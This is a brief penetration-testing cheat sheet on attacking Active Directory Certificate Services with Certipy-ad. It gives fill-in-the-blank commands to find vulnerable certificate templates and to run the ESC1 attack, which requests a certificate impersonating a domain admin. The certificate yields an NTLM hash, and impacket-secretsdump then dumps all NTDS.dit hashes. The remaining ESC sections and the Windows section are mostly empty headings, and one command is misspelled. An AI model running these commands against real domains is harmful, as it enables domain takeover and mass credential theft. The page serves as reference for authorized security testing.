ADCS

Linux (Certipy-ad)

Search for vulnerable certificate templates

certipy-ad find -u <USERNAME> -p '<PASSWORD>' -dc-ip <DC-IP> -enabled -vulnerable -stdout

# In case of SSL error (Got error: socket ssl wrapping error: [Errno 104] Connection reset by peer)
ertipy-ad find -u <USERNAME> -p '<PASSWORD>' -dc-ip <DC-IP> -ldap-scheme ldap -ldap-port 389 -no-ldap-channel-binding -no-ldap-signing -stdout

Request SID for a certain user you want to impersonate

certipy-ad account -u '<USERNAME>' -p '<PASSWORD>' -dc-ip <DC-IP> -user '<IMPERSONATED-USER>' read

ESC1

# Request certificate
certipy-ad req -dc-ip <DC-IP> -u <USERNAME>@<FQDN> -p '<PASSWORD>' -template <VULNERABLE-TEMPLATE-NAME> -upn <DA-USER>@<FQDN> -ca <CA> -target <DC-IP> -sid <SID>

# Authenticate with (base64)certificate to get NTLM hash
certipy-ad auth -pfx <FILENAME>.pfx -dc-ip <DC-IP>
nxc smb <DC-IP> --pfx-base64 <FILENAME>.pfx -u <IMPERSONATED-USER>

# Dump NTDS.dit NTLM hashes using impacket-secretsdump
impacket-secretsdump <FQDN>/<IMPERSONATED-USER>@<DC-IP> -hashes :<NTLM-HASH> -just-dc-ntlm

ESC3

ESC4

ESC6

User specified SAN should be enabled and patch KB5014754 should not be installed

ESC8

Web enrollment should be enabled on HTTP(S) and Request Disposition should be set to "Issue"

Windows (Certify.exe)

Installation

ESC1

ESC1 from Domain Computer

Last updated